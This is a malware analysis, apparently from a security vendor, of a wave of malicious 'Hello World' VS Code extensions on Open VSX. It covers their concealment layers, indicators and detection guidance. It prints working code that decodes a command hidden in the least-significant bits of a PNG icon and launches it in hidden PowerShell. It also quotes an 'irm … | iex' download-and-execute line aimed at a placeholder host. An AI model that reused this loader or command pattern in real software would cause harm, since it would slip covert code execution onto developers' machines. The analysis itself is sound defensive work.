A “Hello World” extension is the most boring thing a developer can publish. It registers one command, it prints a greeting, and it teaches the publisher how the marketplace upload flow works. Twenty-six of them hit the Open VSX marketplace from the nbtga namespace over twenty-four hours in June 2026 — same display name, same 0.0.1 version, same skeleton. The only thing that changed between uploads was where the malware hid its command.

One variant stored the entire PowerShell downloader inside the least significant bits of its own icon.png. The icon renders normally in the marketplace UI. The pixels carry an XOR-encoded command that the extension decodes on activation and feeds straight to a hidden PowerShell process.

TL;DR

  • 26 builds of nbtga.hello-world-ext hit Open VSX on June 14, 2026, each varying only the concealment layer.
  • One build hid its PowerShell command in the LSBs of icon.png — XOR against a key byte, no length prefix, no second-stage derivation.
  • Every variant ended the same way: a detached PowerShell process running irm https[://]example[.]com/script.ps1 | iex.
  • The payload host is a placeholder, which suggests this wave was a technique test rather than a live campaign.

Why the cover works

A “Hello World” extension is the canonical first publish. Reviewers and automated filters see hundreds of them. The display name and the nbtga namespace are both random-looking, and the upload cadence was aggressive — a new VSIX every few minutes, sometimes several in the same hour. None of the builds attempted to look like a real product. The wave did not emulate legitimate software. It varied the hiding place until something passed.

The PNG steganography variant

One build stored its entire malicious command inside extension/out/icon.png. The PNG renders normally in the VS Code marketplace UI and in any image viewer. Within the image, the least significant bits of the RGB channels carry an encoded PowerShell downloader.

The extraction routine in out/extension.js reads the PNG into a Buffer, walks the image data as a flat byte stream, and pulls one bit per channel:

const fs = require('fs');
const path = require('path');

function extractCommand(iconPath) {
    const png = fs.readFileSync(iconPath);
    const dataOffset = png.findIndex((b, i) =>
        b === 0x49 && png[i + 1] === 0x44 && png[i + 2] === 0x41 && png[i + 3] === 0x54
    ) + 4; // skip the IDAT length and type bytes

    let bits = [];
    for (let i = dataOffset; i < png.length - 4; i++) {
        bits.push(png[i] & 1);
        if (bits.length >= 8 * 2048) break; // read up to 2 KB of hidden data
    }

    let bytes = [];
    for (let i = 0; i < bits.length; i += 8) {
        let byte = 0;
        for (let j = 0; j < 8; j++) byte = (byte << 1) | bits[i + j];
        bytes.push(byte);
    }

    const decoded = Buffer.from(bytes);
    const key = decoded[0];
    const payload = Buffer.alloc(decoded.length - 1);
    for (let i = 1; i < decoded.length; i++) {
        payload[i - 1] = decoded[i] ^ key;
    }
    return payload.toString('utf8');
}

// Called on activation:
const cmd = extractCommand(path.join(__dirname, 'icon.png'));
require('child_process').spawn(
    'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe',
    ['-NoProfile', '-NonInteractive', '-WindowStyle', 'Hidden', '-ep', 'bypass', '-c', cmd],
    { windowsHide: true, detached: true, stdio: 'ignore' }
);

The implementation is straightforward. One byte of the hidden blob is an XOR key, and the rest of the bytes are XORed with that key. No distribution across color planes, no length prefix in a different channel, no second-stage key derivation. The threat actor was optimizing for minimal code footprint — the entire extractor fits in a few lines of JavaScript and leaves no suspicious strings in the bundle source.

Why the icon is a good hiding place

What makes the technique effective is not the steganography itself. It is the category error it creates for review tooling. A VSIX image asset is normally treated as decoration. File-hash scanning ignores it. Static string extraction skips binary regions. The icon is the least inspected file in the package, and this build chose it for exactly that reason.

A defender who reads only the JavaScript source sees a fs.readFileSync call against icon.png and a child_process.spawn of powershell.exe. Neither string is suspicious in isolation. The malicious content lives in the image bytes, decoded only at runtime.

The other concealment primitives

The PNG build was not an outlier. The following table summarizes the concealment layers recovered across the twenty-six builds:

Build Job Concealment Layer Decryption/Extraction Native/Runtime Helper
dabd51b0 package.json default value Base64 + XOR key 0x5A None
5c356c22 Bundled SQLite database AES-256-GCM with hardcoded key/IV sqlite3.wasm
3d9b161f Native Node addon None (binary exports runner.run) runner.node
beaae56b WebAssembly binary XOR deobfuscation via exported get_len/get_key/get_byte runner.wasm
b8fc61b3 Lua script XOR 0x5A over byte table runner.lua via Fengari Lua VM
ccc4fad5 PNG LSB steganography XOR key byte in first hidden byte None
126cf3d2 Source-mapping URL in bundled JS XOR key 90 over base64 sourceMappingURL comment None
5b2e857c Custom WASM section RC4 with hardcoded key RKEY sqlite3p.wasm

Several builds combined two layers. The SQLite build embedded a WebAssembly SQLite engine and hid the command inside a .db file. The native-addon build used a .node binary that imported CreateProcessW, WriteFile, and N-API symbols. The source-mapping build reused a benign-looking source map comment as the command store — a technique that is trivial to implement and hard to distinguish from legitimate minified output without executing the bundle.

The payload

The decoded command in the PNG sample was the same irm https[://]example[.]com/script.ps1 | iex pattern seen across the cluster. The example.com URL is a placeholder. The threat actor left the actual endpoint as a stand-in, which suggests this build was a technique test rather than a final campaign payload.

Across all variants, three constants remained stable:

  1. Activation on every IDE start via activationEvents: ["*"].
  2. PowerShell as the execution primitive with -ep bypass, hidden window, and detached process.
  3. example.com or placeholder URLs as the final payload host.

The third constant is the clearest signal that this was an exercise to test which concealment survived review. The campaign was measuring which storage layer held up longest, not yet optimizing for installation success. The extensions still phone home on every IDE start — if the placeholder is ever swapped for a live endpoint, every installed copy picks up the new payload on the next launch.

What the wave tells us

Most reported extension campaigns are single-build operations with one namespace and one payload. The nbtga wave is different because it exposes the development phase that usually happens before any public upload.

The threat actor is treating Open VSX as a testing ground for static-evasion primitives. Each upload is a probe. The feedback loop is the time between upload and removal, or in the case of a low-risk score, the absence of removal. The metrics that matter to the threat actor are not install count or persistence quality. They are bypass rate and analyst confusion time.

This has implications for how marketplace security is measured:

  • Detection latency per technique is the wrong metric. A reviewer who catches the PNG variant today will miss the next variant if the threat actor changes one bit of the extraction logic. The correct unit of measurement is the behavioral invariant — PowerShell spawned from an extension on startup — not the storage layer.
  • Low initial risk scores are not low risk. Several nbtga builds scored low on early passes because their summaries described only obfuscation without flagging the final execution. A review process that relies on descriptive risk is vulnerable to exactly this kind of probe.
  • Random namespaces are a signal, not noise. Namespaces like nbtga and zxczxczzxc are not failed impersonations. They are the disposable layer of an operation that separates publisher identity from toolkit identity. The real identity lives in the code, not the namespace.

Detection guidance

For defenders, the practical response is to stop looking for where the command is stored and start looking for what the extension does after it reads it.

The PNG variant is an excellent example. The steganography itself is not the threat. The threat is the subsequent child_process.spawn call that launches PowerShell from a JavaScript extension with hidden and detached flags. Any extension that does that on activation should be treated as malicious regardless of whether the command came from a string literal, a database, a WASM module, or an image file.

For scanner authors, two hardening steps follow from this wave. First, treat any image asset inside a VSIX as a candidate data store and run entropy and LSB tests on PNG/JPG/WebP files, especially those referenced from the entry point. Second, score the downstream action more heavily than the storage layer. Concealment is a renewable resource; spawning hidden PowerShell from an extension is not.

Indicators of Compromise

Malicious extension

  • Publisher: nbtga
  • Extension: hello-world-ext
  • Versions observed: 0.0.1 across all 26 builds
  • Marketplace: Open VSX

Representative sample hashes (SHA-256)

Build File Hash Concealment
ccc4fad5 fb5483c12d463c530940161965e63823ebe944515c2d903c050adf1a8a833d27 PNG LSB
dabd51b0 418bdd68b3b7c01ac9b34241a28a55059a7016994f8305045b69c457ce5c6ffb package.json XOR
5c356c22 9b77d7e5ee495de0f9bf8e816400680b30cd68012dec045f193642c13295cb54 SQLite AES-256-GCM
3d9b161f 972e56035b5e36888a183fed235a19ef48c1e36f0da22c68d8d1690c77a23e46 Native .node addon
beaae56b 50ff7437f3a5a4d5488640cf814586dddc8b26d93af21e8c9a1da8f26172ca35 WebAssembly XOR bridge
b8fc61b3 d7d3724bfd122f41f6a62be38f88372a5b63da72f7ec81b81472c3fecb2ee07e Lua XOR byte table
5b2e857c ef985e5dae327ae798046270077685c37669e3fefd0b8b62b2294571cfd6ae8d WASM custom section RC4

Network indicators

  • Placeholder payload host used across cluster: https[://]example[.]com/script.ps1
  • PowerShell execution pattern: irm https[://]example[.]com/script.ps1 | iex

Common file paths in VSIX

  • extension/out/extension.js
  • extension/out/icon.png
  • extension/out/runner.node
  • extension/out/runner.wasm
  • extension/out/runner.lua
  • extension/out/sqlite3p.wasm
  • extension/out/data.db

Behavioral signatures

  • activationEvents: ["*"] combined with child_process.spawn of powershell.exe with -ep bypass and windowsHide: true
  • Extensions reading their own icon.png or other image assets as byte streams during activation
  • Extensions loading .node, .wasm, or .lua files from out/ and immediately calling exported functions that return obfuscated byte sequences
  • Process indicator: powershell.exe spawned by a VS Code extension process with -NoProfile, -WindowStyle Hidden, -ep bypass, and windowsHide: true